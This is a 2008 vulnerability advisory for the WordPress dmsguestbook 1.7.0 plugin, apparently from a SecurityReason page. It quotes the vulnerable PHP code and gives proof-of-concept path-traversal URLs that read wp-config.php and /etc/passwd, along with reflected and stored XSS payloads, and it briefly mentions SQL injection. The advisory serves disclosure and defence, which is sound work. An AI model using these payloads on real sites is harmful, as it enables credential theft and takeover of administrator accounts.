Wordpress Plugin dmsguestbook 1.7.0 Multiple Remote Vulnerabilities

Advisory Content :

########################################################
Wordpress Plugin dmsguestbook 1.7.0 Multiple Remote Vulnerabilities
by NBBN 2nd, February 2008
########################################################

1) File Disclosure

Open the following url you can see the config data of wordpress, with the
mysql-server username and password. In this file you usually have write
permission, so an attacker can place his deface page here:

http://site.tld/wordpress/wp-admin/admin.php?page=dmsguestbook&advanced=
1&folder=language/&file=../../../../wp-config.php

Vuln code:
Line: 652-655
$handle = fopen ($abspath . "wp-content/plugins/dmsguestbook/" .
$_REQUEST[folder] . $_REQUEST[file], "r");
if(is_writable($abspath . "wp-content/plugins/dmsguestbook/" .
$_REQUEST[folder] . $_REQUEST[file])) {
echo "<br />$_REQUEST[file] <font style='color:#00bb00;'>is
writable!</font><br />Set $file readonly again when your finished to
customize!";

$_REQUEST[folder] & $_REQUEST[file] doesn't checked.

Another PoC:
http://localhost/xampp/wordpress/wp-admin/admin.php?page=dmsguestbook&ad
vanced=1&folder=language/&file=../../../../../../../../../../../../../..
/../../etc/passwd

Ok, for this you need an admin account, but you can get an admin account
with
the follow xss vulnerabilities.

################

2) Cross-Site Scripting Vulnerabilities

a) If the script doesn't find the file, php shows an errormessage, so for
xss
open this:

http://site.tldwordpress/wp-admin/admin.php?page=dmsguestbook&advanced=1
&folder=language/&file=<script>alert("XSS")</script>

b) Another vulnerability:

Find the guestbook page. In the messagefield write </textarea>[your xss
code].
So, if admin go to the admin panel, to show himself the guestbook, he
execute
your xss code

c) Again in the guestbook

Enter your message in the title ">[xss] and in the messagearea:
</textarea>[xss] and enter a wrong captcha-code, you execute the xss code

Note: There more some more XSS-Vuln's.

################

3) SQL-Injection Vulnerabilities

There are some SQL-Injection vulnerabilites, but an attacker need an admin

account and if he is in the administration-panel, a sql-injection he not
need.

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

Wordpress Plugin dmsguestbook 1.7.0 Multiple Remote Vulnerabilities